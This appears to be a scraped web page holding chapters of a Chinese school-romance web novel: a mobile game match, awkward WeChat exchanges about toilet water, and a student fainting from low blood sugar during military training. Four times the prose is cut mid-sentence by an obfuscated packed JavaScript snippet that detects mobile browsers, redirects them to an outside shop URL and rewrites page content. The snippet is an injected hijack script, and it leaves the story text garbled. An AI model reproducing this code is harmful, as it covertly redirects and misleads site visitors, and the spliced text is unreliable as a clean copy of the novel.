听声音最后一句应该是李厅南的,林泠有些不可思议,他现实生活里看着挺内向的,话都不敢说两句,没想到在网络上这么开放,林泠把书关上走过去。 舒音已经挂了把麦闭上,看剩下的队友操作,转头才发现林泠走了过来,“泠泠吵到你了吗?不好意思啊我小声点,主要是刚刚情况太紧张,我一不小心就大声了点。” 林泠凑过去看她们队伍现在的游戏情况,17:25,经济落后3000多,还行,也没有很糟。 又是一波团战失利,喇叭里传来一片唉声叹气。 “唉,没办法啊,真的尽力了。” “燃尽了燃尽了,下一把吧。” 舒音看着林泠的脸,忽然一拍大腿,找到了游戏的翻盘方法。 她慢慢挪动屁股,把手机塞到林泠手里,双手合十祈求道:“好泠泠帮我打打呗,不然我这局的晋级赛肯定要输了,求求你求求你!” 林泠的手机玩不了游戏,但初中的时候舒音和班上的一些男生很喜欢打,有时候她也跟着看了两眼,又有舒音的解说,基本上对这些英雄的技能也了解得差不多,还帮她打过几局,无一例外都是胜利。 林泠接过手机,角色刚好复活。 她点开经济面板分析了下对面的阵容,快速操控角色刷经济,别人吃钱的时候她在吃钱,别人打架的时候她还在吃钱,不一会儿就刷到了经济的一号位。但她这种行为也引起了其他两个队友的不满,纷纷打字对她进行了“亲切友好”的慰问。 “射手你是孤儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481581|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?队友打团你在野区采灵芝。” “笑死我了,皇帝射手是这样的,吃了一整局结果一点伤害都没有,反正家里就一页户口本的人,我们别和她计较了。” 舒音一直看着林泠的操作,上一秒才一对一把对面射手击杀了,下一秒队友被团灭就开始嘲讽。 “靠!他们说什么垃圾话呢!” 舒音有些愤愤不平,但又没办法,现在的游戏环境就是这样的。 林泠选择把他们屏蔽了,专心操作。有了经济后伤害就起来了,团战的站位又靠后,对面都是手短的几乎没人能切到她,然而几个队友还是相继走位失误被击杀了,只剩下林泠这个射手,凭着风骚的走位秀得对面头皮发麻,最后一波团战也是顺利团灭对面,奠定游戏胜利。 和舒音一起玩的两个好友早就被击杀了,所以全程在观看舒音这个角色,看到她华丽的操作简直目瞪口呆,喇叭里传来阵阵撕心裂肺的叫声。 “啊啊啊啊啊啊——” “舒音!你到底是不是舒音!是谁在台上?!是谁在操作?!” “音音女神我爱你——” “音音女神这局的操作,我将永久保存!细细品味!传给我的下一代!” “女神!以后请带我上分可以吗!我保证你让我往东我不走西,你让我喝尿我绝不吃屎!” 林泠把手机递给舒音顺手把那两个队友的屏蔽键关掉,站起来睥睨冷声道:“把狗放出来,看看他们还叫不叫。” 舒音也从来没有这么激动过,这不仅是她的晋级赛,还是她第一次被人骂了之后还能这么快的把脸打回来,当即她就打开喇叭,激情开麦。 “呦呦呦,刚刚不是还骂人吗,怎么现在没话说了啊?” “你们两个再给我狗叫一个试试呢?” 和舒音一起玩的两个队友也是开团秒跟,立刻接了上去,虽然退一步海阔天空,但碰到这种人在本局游戏不骂,下一局就骂不到了。 “你他妈的就你们两个长嘴了是吧,刚才你这个打野不是叫的最欢吗?” “哎呦,我打开战绩一看,怎么是2-5-0啊,敢情打了这么久,你连个助攻都没混上啊!” “还说笑死,你笑你妈呢,笑你战绩二百五,笑你生活过得苦?” 林泠:“……” 原来逆风是因为嘴不能输出。 算了,这游戏环境就是这样的,还好自己不怎么玩。林泠看着舒音骂人的样子,突然有些伤感,她想起了舒音刚开始接触这款游戏时候的样子,那时候她还是个萌新,说话软软糯糯的,不小心抢了人头会手足无措地站着不动,有时候打得菜了坑了队友还会小心翼翼地道歉。 现在………… 真是像上个世纪的事了。 过了一会儿骂声终于停了,林泠松了口气,以为是游戏结束了。 舒音:“靠!怎么把我禁言了!” “我也是!” “凭什么禁言我们!他们一开始骂人怎么不禁言呢!” 林泠:“……” 三人在房间里互相复盘刚才的骂人语录,吐槽游戏的匹配机制和举报系统。 舒音:“我靠!怎么给我禁赛了!” “我也是!” “还有我!” 林泠:“……” 好了,这回三人被禁赛禁言后彻底没招了,寝室里瞬间安静了下来,舒音转战微信接着打字吐槽,林泠继续看书。 “泠泠!你快看微信班群!是没有老师的那个!” 舒音一个鲤鱼打挺坐起来,咬着手尖叫,眼里满是惊恐,但林泠看到的更多是……兴奋? 还是那种猹进瓜田转了一圈发现闰土压根没在然后开始大快朵颐的兴奋。 林泠:“什么?” 林泠皱眉,狐疑地打开微信班群,发现自己被艾特了,艾特人是…… 【一中校霸:@泠,好友通过一下呗。(龇牙笑)(龇牙笑)】 11. 花露水 这个傻子。 林泠本想装作没看到,没成想晏阳竟然直接在班群里艾特她,还连发两条。 【一中校霸:@泠,嘿朋友,看到消息了吗?】 接连两个深海鱼雷砸进小池塘,威力堪比当初鹰酱给脚盆鸡丢的小孩导弹,班群里本来在玩手机其他人: 【????】 【?????????】 【!!!!晏哥?你被盗号了??】 【什么情况???】 【这世界太疯狂……】 问号感叹号满屏的刷,很快就刷成了99+。 这阵仗,舒音只在磕cp的楼里看到过。 舒音从来没有见到过林泠这么凝重的表情,就连考的最差的一次也只是一个人站在天台上发呆,一时间不知道怎么开口:“呃……泠泠,班群里的人是谁啊?” 没有老师的班群所有人都没有打备注,聊起天来纯靠猜。 “晏阳。” “啥?晏阳?那个帅气……”舒音本想用帅形容晏阳,又瞄到林泠的脸色不对赶紧改口:“呸呸呸!那个傻子?“傻子两个字一出,林泠的表情果然缓和了一些,她接着说:“那个傻子竟然起这么中二的网名?而且他想加你好友直接加就行了,为什么还要在班群里搞这一出?” 舒音实在是不理解。 林泠毫无感情道:“因为第一次他加我,我把他删了,刚刚他又加我,我没同意。” 舒音:“……” “???” “!!!” 什么情况! “等会,他为什么要加你?又做了什么伤天害理的事让你删了他,最后他还要不厌其烦的要加回来?” 舒音的脑子转不动了,在她的认知里,林泠只是有些不爱交际,但对人很好,从来不会因为一些小事就单删别人,如果真的有这种事,那百分之一百是对方的错。 林泠:“昨天你去拿衣服的时候他把二维码给我,趾高气昂地让我加他,我没理,晚上从班群里找到我加我,说的都是些没营养的,我嫌烦直接删了,刚刚又加我,说有什么重要的事问我,我看到了没同意。” “哦!”舒音拳头一拍掌心,下了定义,“那肯定是他的问题。” “不过……”她神色有些犹豫,“既然他说有重要的事,会不会真的是很重要的事,要不你先通过一下?” 林泠思考了一下,在同意键上面点了一下。 “你已添加一中校霸为好友。” 随即发了一条消息。 【泠:什么事?】 晏阳在班群里扔下两个雷就没管了,只留下群里一堆人发问号。 手机响了一下,晏阳正在给头发冲水的动作立即停下,也不管洗没洗干净,用帕子胡乱擦了两下手就拿过手机。 【一中校霸:我知道我知道,你叫林泠,我以后再也不叫你喂了。】 如果微信不止可以看到对方的输入情况,还能看到对方输入时的表情,那晏阳将会看到林泠看到这这条消息时翻着白眼满脸黑线的模样。 林泠极力克制住自己想冲过屏幕扇他的冲动,打下几个字。 【泠:我说,说事。】 舒音在旁边努力憋着笑,但说话的语气丝毫没有收敛:“哈哈哈哈哈哈哈!原来他之前干的事这么蠢吗,叫人喂,他以为他是电视里的云海,你是雨荨吗,哈哈哈哈哈!” 笑完后她突然意识到什么,赶紧打哈哈:“哈哈,不好意思不好意思,电视里那对是情侣来着,他充其量就是个傻子,哈哈哈。” 晏阳想了半天不知道怎么开口,头发上的水顺着脸流到下巴,滴到了屏幕上。 【一中校霸:我是想问你白天身上是喷的什么香水,或者用的什么牌子的洗护用品,我觉得还挺好闻的。】 【一中校霸:熊猫头尬笑jpg】 舒音跟小狗一样仔细闻了下林泠身上的味道,“没什么特别的味道啊,就是沐浴露的味道嘛。” 林泠夏天爱招蚊虫,所以会常备花露水,可能是刚洗过澡,花露水的味道已经被冲淡了,现在身上只有沐浴露的清香。 “我知道了!”舒音眼睛瞥到桌子上的小瓶花露水,猛然一拍桌子,茅塞顿开道:“香水就是,花!露!水!” 动作太突然,连林泠都被吓了一跳。 “花露水?” “对啊,他不是说白天吗,你今天早上不就只擦过我给你的防晒霜和花露水吗,我的防晒霜是没有香味的,所以!”舒音拿起花露水喷了点出来,整个人闭着眼在空中旋转,然后中指一竖,大声道:“心机之蛙一直摸你肚子!” 林泠:“……我是不是要给你配个音?” 舒音把花露水放下坐好,“哎呀,你就直接跟他说是花露水,不对啊,这花露水不是所有人都知道的吗,他怎么会以为是香水?难道他真是傻子?” 林泠为了防止这傻子买错牌子,好心的说出全名。 【泠:六神。】 【一中校霸:六神这个牌子的香水吗?好小众,我没听过。】 晏阳在脑中快速搜索他姐化妆柜上面出现过的香水,确定没有六神这个牌子。 我草,这状元有点东西啊。 怪不得六中那群人说她不合群,这哪里是不合群,分明就是独树一帜,鹤立鸡群啊,连用的香水牌子都这么小众且有品味。 可以!不愧是她的同桌,看来唐越说的话还有点道理。 林泠:………… 该怎么跟这个傻子解释。 【泠:不是香水,是花露水。】 【一中校霸:花露水是什么?比香水还高级吗?】 晏阳一拍脑袋顿悟:我去,我说那么多大牌香水我什么没闻过,感情这不是香水,是比香水高一等级的花露水啊! 有点崇拜怎么肥四? 不行!她还抢了我的风头呢,不能低头! ………… 低头这一次应该没关系吧。 盯着那个手绘火柴人风格的头像,林泠已经不想回了,她看着上面那个歪七扭八的笑脸,都觉得好像在挑衅她。 舒音再也憋不住笑了,”哈哈哈哈哈哈哈哈哈!这是哪里来的丛林土鳖,连花露水都不知道,还问是什么牌子的香水!哈哈哈哈哈哈哈!花露水比香水还高级,我真不行了哈哈哈哈哈哈哈!” 林泠闭眼深吸一口气:忍忍,回了就删了,免得这傻子又在班群里整什么幺蛾子。 【泠:六神花露水,不是香水,是驱蚊用的。】 忍着要打人的心敲下这几个字,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481582|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 退出去把购买链接发给他,手机正好在这个时候卡了。 林泠:“……” 舒音已经笑成傻子了。 玩别踩白块儿的时候被卡住打断记录时她没想换新手机; 被林海嘲讽用着清朝老手机时她没想换新手机; 但现在,她想换手机的心达到了顶峰。 用最后的耐心再次点击键盘。 【泠:不管是实体店还是网店都有卖,没事别再找我了,要是你再在班群里艾特我乱说话,我揍得你以后见我就跑。】 发送键都快被按烂了才把消息送出去。 林泠从来没有这么累过,和给舒音讲题比起来,这才是真正的累。 心累。 晏阳刚升起的崇拜之心被这最后一条消息敲得支离破碎,连滴在手机上的水珠都来不及擦,就要发消息质问。 意料之外,情理之中的事。 林泠又把他删掉了。 “不是,我晏阳,堂堂晏家大少,从来就只有我加别人,我删别人的份,今天,不对,在这两天里,我被同一个人单方面删了两次,而且还是我主动去加的,真是倒反天罡!岂有此理!” 晏阳气得在阳台上走来走去,摇头晃脑,头发不用吹都干了不少。 “不行,我不能这么丢面子。“晏阳点进班群又艾特了林泠。 【一中校霸:@泠,你删我什么意思?】 光标在聊天框里闪动,晏阳想起她刚才的最后一句话,联想到她那双寒光四射的眼睛,明明是大夏天,身体却不寒而栗。 算了算了,我大人有大量,不跟她计较,反正高中还有三年。 理智战胜了感性,正准备删掉,屏幕上的水珠滑到了其他地方,正好就停在发送键那块。 晏阳想擦掉,手指却不知道为什么在这个时候抽搐了一下。 一中的校园网覆盖在学校的每个角落,网速飞快,手指触碰到按键的瞬间,消息马上就被送了出去。 我靠完了完了!死手快撤回啊!! 晏大少从来没有这么慌乱过。 晏阳虽然撤回得很快,但还是被一直窥屏的同学看到了。 有过被深海鱼雷炸过的经历,他们现在电视剧也不追了,游戏也玩了,恋爱也不谈了,全都守候在屏幕前,生怕又错过什么。 群里同学:晏家大少亲自求人通过好友申请,这不比电视剧精彩?不比游戏刺激?不比恋爱甜蜜…… 果然,黑夜中长久的等待总会迎来曙光。 林泠的手机前一秒还卡着,下一秒就恢复了正常,那条充满兴师问罪语气的句子在她眼前闪过,又迅速被撤回。 【?????】 【晏哥??你是我晏哥???】 【!!今天咋回事啊?到底谁在盗我晏哥的号??!】 【你有本事盗号,有本事开门啊!不对串台了,你有本事盗号,有本事出来啊!!!】 【不是,你们都在关心盗号的事,只有我关心消息内容吗?(小声)】 【…………】 这次的刷屏比上次的速度更甚,让人眼花缭乱。 舒音:“我靠!泠泠他怎么直接在群里……” 林泠:……这个傻子…… 晏阳扶额:完了。 12. 低血糖 晏阳的手机响个不停,但他已经没勇气看了。 一向对未来充满希望的晏大少人生第一次,对明天的到来充满恐惧。 【唐越:晏哥,刚刚你们班莫杰给我发了张截图,你被盗号了?】 【唐越:(聊天记录截图)】 【唐越:hello?晏哥真被盗号了?】 【唐越:在不在在不在在不在在不在!!!】 【唐越:(在不在表情包)】 【唐越:(在不在表情包)】 【唐越:(在不在表情包)】 【唐越:(在不在表情包)×66】 【盛泽:唐越你别刷屏了等会晏哥都看不到重点了。】 【唐越:……哦。】 【唐越:@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸@一中校霸】 盛泽:“……” 晏阳很想装死,但这破手机的震动声不断。 不会是林泠杀过来了吧? 我要怎么回复? 要是她明天打我怎么办? 不对啊,我堂堂一个大男人,又从小在安叔的培训下,习得了各种武艺。 怕她,不可能的,她肯定打不过我。 不行啊,她看起来就不好惹的样子,万一真的给我打了怎么办? 晏阳双目无神地看着天花板,头上的两个小人一直在打架,争论自己和林泠谁才是攻的那一方。 白炽灯一闪,晏阳突然想起来那天看六中的帖子里,好像就有一篇说林泠打架做检讨的文章。 一个打三个,最后还只是衣角微脏,能在讲台上冷静的做检讨,而其他三个人轻则崴脚,重则骨折,文章的评论下面还有人现身说法: 【不知名的网友:在现场哈,林泠打人的时候我就悄悄躲在旁边全程围观,嘶……她是真的狠,处处往要害打,被打的有个人当场进了重症监护室,病危通知单都下了好几次,差点没抢救过来。】 【吃瓜网友:楼上真的假的,我现实里见过她,看起来特别瘦,身体很不好的样子,一打三,不可能吧,太玄乎了……】 【不知名网友:诶你还真别不信,咬人的狗不叫,看起来不打人的人打起人来才是真的狠。】 【造谣4000+:楼上你他妈的再给我造个谣试试?看到我的名字了吗?】 【不知名网友:谁造谣了?怎么打人的人出来了?(抠鼻)(抠鼻)】 …… 就这样六中也没舍得处罚她,只让她在全校面前做了个检讨就完事了。 太恐怖了这人。 想到这里,主张晏阳攻的那一方小人直接被主张林泠攻的小人一脚踩在脚下。 晏阳露出一个比哭还难看的笑,算了,该来的还是会来。 战斗吧!晏小阳! 晏阳做了好几个深呼吸,拿起手机颤颤巍巍地解锁。 诶?林泠没给他发消息? 好耶好耶! 但是一中三帅哥的群聊怎么显示99+。 晏阳点进去。 ……唐越你这厮要做什么啊! 一中三帅哥顾名思义就只有三个人,晏阳、盛泽和唐越。平时就是聊聊放假时间,还有去哪里玩,现在俨然成了唐越一个人的群聊,晏阳往上翻了好几条才看到一条盛泽发的消息,接着又是唐越的表情包轰炸。 晏阳:……我怎么会和这种人从小玩到大? 【一中校霸:……没被盗号。】 【唐越:我去,晏哥你终于出现了!你们班咋回事啊?】 晏阳打字的手顿了顿。 还能咋回事,手滑按错发送键这种事说出来有人信吗? 【一中校霸:如果我说我只是手滑按错了键位,你们会信吗?】 【唐越:不信!】 【盛泽:我信。】 晏阳兴奋地用力一拍大腿。 盛泽,你才应该是和我从小玩大的的好兄弟! 这就是我们坚不可摧的友谊! 至于另一个,呵呵了。 【唐越:不是,手滑能艾特别人,然后打了出一句没有任何语病且符合晏哥语气的句子】 【盛泽:……唐越你能不能别打破砂锅问到底,朋友之间要保持距离感。】 【唐越:砂锅是什么,我没进过厨房,是煮砂锅粥的那种砂锅吗?那种我家有,但为什么要打破?不打破不能问吗?】 【唐越:不对不对!什么朋友之间要保持神秘感啊,我俩从小一起长大,他小学尿床半夜起来洗被子都是我望的风,后来被发现也是我揽下的,还要什么距离感?】 【盛泽:…………】 晏阳觉得不能再聊下去了,不然自己的老底都要被揭光了。 【一中校霸:你是不是问题很多?再扯我给你踢出群,这一中三帅哥正式更名为一中俩帅哥。】 【盛泽:支持。】 【唐越:别啊盛泽你别捣乱,我不说了还不行,一中俩帅哥多难听,还是一中三帅哥读起来比较朗朗上口。】 【盛泽:呦,你还用上成语了,也是出息了。】 【唐越:盛泽你他妈……】 晏阳没空看他俩扯头花,退出去找到和林泠的聊天记录,再切到购物软件。 花露水,我来找找看。 搜索界面一出来,晏阳感觉眼睛都被打了两拳。 惊爆学生价!百亿补贴!回头客10万+!只要12.9! 12.9外币?这么便宜? 晏阳点进其中一个标签最多的店铺,准备下单的手抖了下。 竟然是12.9的rmb,这么便宜!这么好闻的香水竟然这么便宜! 下单!必须狠狠下单! 等到货了拿回家,爷爷一瓶、爸爸一瓶、妈妈一瓶、姐姐一瓶,家里的佣人一人一瓶! 晏阳完全被花露水的价格冲击到了,直接买了一千瓶,现在还沉浸在花露水向他招手的梦境里,刚才忧虑的事现在几乎消失殆尽。 林泠从看到晏阳那条消息后就一直面无表情。 宿舍里落针 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481583|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可闻。 “…泠泠没事吧?”舒音悄悄挪过去:“你别管那傻子,刚才我跟言铄聊天,她跟我说那人就是被别人捧惯了,有大少爷脾气。” “言铄?” “对啊,就是刚刚跟我一起打游戏那个女生,另一个男的是李厅南。” 林泠在脑中搜索言铄这个名字,“言铄我记得不是言锐的双胞胎妹妹吗?你不是跟我说不跟言锐玩吗,怎么扭头跟他妹妹玩上了?” 舒音尴尬一笑但又很快理直气壮,“我是说了不跟言锐玩啊,但言铄和她哥哥完全不一样,虽然是双胞胎,但她可有趣了,我觉得应该是他俩在娘胎的时候,营养全被言铄吸完了,导致言锐说话跟没长脑子似的。” 女人总有她的道理。 “行,那你们好好交朋友。” “泠泠你要不要看我们的聊天记录啊,我真的觉得她和我很投缘。” “不了,明天还要军训,早点睡。” “哦,好吧。” 第二天军训时的太阳依旧很大,晏阳早早就的就被唐越和盛泽拖到了集合地,一到地方就被人团团围住,还是莫杰这个专业保安把人拉开,才让晏阳有了喘息的机会。 唐越说了什么晏阳根本没听,头四处乱晃一直在找林泠的位置。 林泠是快集合的时候才到的,归队时仍然带着淡淡的花露水味,两人相隔很近,但她全程没看晏阳一眼。 晏阳努努鼻子,吸了一点花露水的味道,撇撇嘴。 切,我的花露水也过几天就到了。 今天的军训阿金不知道脑子抽了什么风,非要让两个班面对面站军姿,美其名曰考验他们的忍耐力,一旦有同学笑了,全体加训五分钟。 正式开始军训前,有几个阿金的“红人”不怕死的上前嬉笑着打趣道:“主任,你确定要用这种方式考验我们吗?” “闭嘴。”阿金没给他们好脸色,“再说话你先加训!” “不敢了不敢了。” 怀瑾班和体育班面对面,徐若薇第一次觉得军训这件事这么幸福,阿金长得如此和蔼可亲。因为艺术班就在体育班旁边,而她又站在前排,余光正好可以看到林泠。 阿金这招太狠了,熟悉的人面对面站着即使不说话,全凭眼神交流也根本憋不住笑。 很快体育班和怀瑾班就被各自加训了十分钟。 烈日当空,草地上热浪滚滚,晒得人眼睛都睁不开。 林泠今天状态相比昨天来说有些差,本来想着马上下训了还能撑会,结果又加训了五分钟,骨子里习惯了一个人撑着,但没一会儿她就开始出现幻觉了。 眼前教官的身体逐渐出现了重影,明明没有动林泠却能觉得他在左右摇摆。 额头上的汗把头发和帽檐粘在一起,黏黏腻腻地流下来,教官说要加训的声音在耳边时近时远,紧贴裤缝的手不受控制地收缩,手掌上出现了几个月牙状的指甲印,痛觉也唤不醒她。 呼出的气息越来越承重,腿好像也没力气了,瞳孔逐渐涣散,连意识都在渐渐消散。 她真的,快撑不住了。 好想睡觉,睡一觉就好了吧。 “同学!” 13. 脆弱的身体 林泠晕倒的不是很突然,至少在晏阳看来她是有前兆。 先是身体有些摇晃,再是微微前倾,接着手握成拳头状。怎么看也不像是没事人的样子,所以在往前倒的那一刻,晏阳眼疾手快立马一把把她拦住。 林泠的腿毫无力气,几乎是软的,晏阳接过她的一瞬间竟然有些不知所措,他第一次知道人瘦起来身体上的骨头会是这么硌人。 “林泠?林泠你怎么了?“ 她的脸色为什么会这么差?不是昨天还能和自己唇枪舌剑吗,现在怎么脆弱得如此不像话。 还有她怎么身上一点肉也没有,平时真的有吃饭吗? 不会是我昨天做的事让她没睡好,现在才导致她睡眠不足晕倒的吧。 晏阳脑子里霎时间冒出了好多问题。 这声动静很快就让怀瑾班成了全场的焦点,正站着军姿的学生东倒西歪地讨论。 “怎么了怎么了?” “怀瑾班有个女生晕倒了。” “谁啊谁啊?” “太远了看不清啊。” 听到有人晕倒,本来身体无力快要被累趴的舒音猛然回头,果然看见了晕倒的林泠,面色比第一次发病还难看,简直可以用惨白来形容。 身体比脑子还快做出反应,甚至比教官的速度还快,一个猛冲到达林泠身边。 “泠泠,泠泠?“ 舒音把林泠抱回自己怀里,先叫了两声接着捏了捏她的虎口。 “这位同学怎么了?是低血糖吗?” 教官和阿金看着舒音熟练的动作,也是跟着发问,周围想看热闹的同学围了上来,像一堵密不透风的围墙,让本就炎热的空气更是无法流通。 “散开!全部散开!围在这里干嘛!” “先解散休息!” “各个班的同学不要乱跑,留在原地休息!” 徐若薇不知道什么时候也来了,手里拿了瓶打开的矿泉水,但看着林泠的状况好像用不上,又默默把盖子拧好拿在手里。 情况紧急,舒音没空思考太多,多停一下林泠就难受一分。 “老师林泠有低血糖,我们需要去下医务室!” 一中之前也有低血糖的学生,但像林泠这种严重得直接晕倒的还是第一次见,阿金语气焦急指着一个方向,“在知行楼那边,不远,赶紧找个人背着她去,快!” 晏阳和徐若薇都想背林泠,但舒音的动作更为迅速,一个帅气的公主抱像一枚小炮弹一样弹射起步,几乎是飞着去的,明明自己的身板那么小,怀里的林泠却一点也没被颠到。 闫教官也怕学生出事,跟旁边的姚教官说:“姚教官你跟着去看看。” “好。”姚教官立马朝着舒音的方向跑。 晏阳摸了摸刚才林泠在自己怀里躺过的地方,上面还残留着她的体温,以及那随风飘散的香味。 徐若薇握着水瓶看着舒音的背影,担忧地咬着嘴唇:不要有事啊。 知行楼里开了空调,比外面凉快多了,舒音抱着林泠一路跑过来,现在有些喘不过气来,医务室就在旁边晃了两圈也没看到。 “医务室在这里!”姚教官带着慌乱的舒音进入医务室。 医务室里是个很年轻的女性,带着无框的金丝眼镜,看起来优雅又知性。 “医生!我朋友低血糖犯了!” 舒音把林泠平放在医务室的床上,浸着汗水的帽子被拿下,姚教官帮着她把林泠的腿摆直。 “有中暑吗?”医生拿出一块冰凉贴递给舒音,“有的话先贴上,再跟我说说她的情况。” 对于这种情况医生见怪不怪,看了眼外面狗都嫌热的天气皱着眉吐槽:“这么热的天,学校非要安排军训吗?” 姚教官也不好回答,只能含糊其辞:“学校也是为了加强学生的身体健康。” 舒音忽略了医生的吐槽,扯了两张纸帮林泠把脸上的汗擦掉,接着再贴上冰凉贴,看着她好点后才说:“她有很严重的低血糖,初中的时候就犯过,但最近没怎么犯了。” 医生拿出笔记录,“叫什么名字,年级多大。” “林泠,泠是冷字多一点的那个,15岁。” “嗯,训练前吃早饭了吗?” “吃了。” “行,那我先给她打瓶葡萄糖试试,如果还是严重的话再送医院,对了她对葡萄糖过敏吗?” “不过敏。” 舒音把位置让了一下,把她的左手伸出来,“医生打左手吧,她习惯打左手。” 林泠手心里的冷汗黏糊糊的,舒音又用纸巾擦了下。 林泠打针次数不多,仅有的几次都是因为情况实在太严重,被舒音压着去的,而且每次只肯打左手,因为右手要写作业。 医生已经把针和药水准备好了,挂好葡萄糖时握过林泠的手不禁皱眉,“这手也太细了。” “血管都找不到。”医生擦了碘伏又拍了好久才找到血管,“平时不吃饭吗?正在长身体需要营养的时候就别太亏待自己了,多吃点免疫力才强。” 舒音连声说是,姚教官在一旁也有些心疼,这么严重的低血糖,只用拇指和食指就能圈住的手腕,她父母是怎么养孩子的。 针打进血管的那一瞬,林泠的眉毛微蹙了下,手条件反射地瑟缩,好在动作没有太大,微凉的液体通过血管缓缓流进身体。 陈清本来正在做思想汇报工作,刚出门就接收的一个爆炸性的消息,火急火燎地往医务室赶,到的时候林泠已经打了小半瓶葡萄糖了。 陈清看着床上那薄薄的一片,刚刚跑过来躁动的身体经过走廊的空调一吹,再加上医务室浓浓的消毒水味,心都凉了半截,小声询问道:“怎么了,现在林泠没事了吧。” 舒音背对着陈清,坐在林泠旁边,姚教官解释:“已经没事了,就是低血糖,刚刚贴了块冰凉贴,打了葡萄糖,应该没什么事了。” 陈清松了一口气,“这孩子,怎么有低血糖不说呢。” 姚教官不知道怎么回答,舒音站起来看着床上如纸片般的人,叹了口气,“对不起老师,我替林泠给您道歉。” 陈清被这突兀的道歉愣怔了一下,想到她可能是误会了什么,上前一步露出一个宽慰的笑,“舒音,老师不是怪林泠的意思,只是这种情况还是要提前说是不是?还好今天没出很严重的事,要是真发生了的,难受的也是林泠自己呀。” 舒音本就被林泠刚才的情况吓到了,那股紧绷的神经一直没放下来,用尽了自己所有的力气一路跑来,等林泠打上针,确定没有其他问题后才敢让自己坐下休息,听到陈清的话后鼻子不禁一酸,抽泣道:“呜呜呜……老师林泠她不是故意的,她只是不想麻烦别人。” 陈清是想安慰她,没想到直接给人安慰哭了,手忙脚乱地扯了几张桌子上的纸巾帮她擦眼泪,边擦边道歉,“好了好了,老师不问了,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481584|201773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭了哦。” 舒音的眼泪越流越多,也并非是因为陈清,更多的是对林泠的心疼。 只有她看到林泠的痛苦,也只有她能与林泠感同身受。 她见过林泠为了把学校里的肉留给妈妈而饿肚子;见过林泠为了中午免费的汤而遭人白眼;见过林泠为了保护被家暴的妈妈而挨打。 林泠从来不是一个轻易说放弃的人,她已经在努力吃饭了,也在努力让自己变强,可舒音还是心疼,每每想到她保护自己挺身而出的样子就忍不住落泪,她是一个那么坚强的女孩,受了伤从来都不暴露出来,只是一个人默默地舔舐伤口,为什么上天不对她好一点。 舒音哭得太惨烈了,连医生都忍不住动容。 “小同学,你们一定是很要好的朋友吧,她有你这么个朋友,也是前世修来的福气。” 舒音呜呜咽咽地说:“是……似的,我们……系……最好的……朋……朋友!” 看来这军训是训不下去了,姚教官走到医务室门外给总教官打了个电话汇报情况。 “好好,我知道了总教官。” 门外的声音消失,姚教官走进来,“舒音是吧?你陪着林泠在这里休息,等下午情况好些了再说。” 舒音眼眶还是红的,坐回座位上,看着林泠低声回应:“好。” 陈清呆了一会儿,见确实什么事了,交代了几句就去看军训情况。 经过刚刚那一遭,阿金也被吓到了,不敢再乱出主意,军训的强度也被大大降低。 下午的时候林泠和舒音还没来,破天荒的训了一小会儿,阿金就把所有人都聚集在一起,做了一次简短的演讲。 “同学们,这次是我的失误,我在这里给各位同学道歉,对不起!如果你们在训练的时候感到不舒服,一定要勇于打报告,不要怕,不论男生女生,每个人都会有身体状况不好的时候,也不要怕别人笑话,只要你打了报告说明了情况,教官一定不会勉强你们的,军训的主要目的就是锻炼你们的身体,并不是为了折磨你们。 “最后老师也想说,当你们遇到难以克服的困难的时候,选择放弃,也是一种成功!” 阿金做过很多次的演讲,但可以说,只有这一次是真正的深入人心,台下的掌声不是被教官训出来有节奏的声音,而是学生真正的发自肺腑的热情外化。 “呜呜呜我太感动了,有生之年还能看见阿金说这么有哲理的话。” “谁说不是呢,这简直可以载入校史啊!” “感谢那位低血糖的同学,我们接下来的训练肯定会轻松很多!” “别吧,人家肯定很难受啊,这样说人家的病不好。” 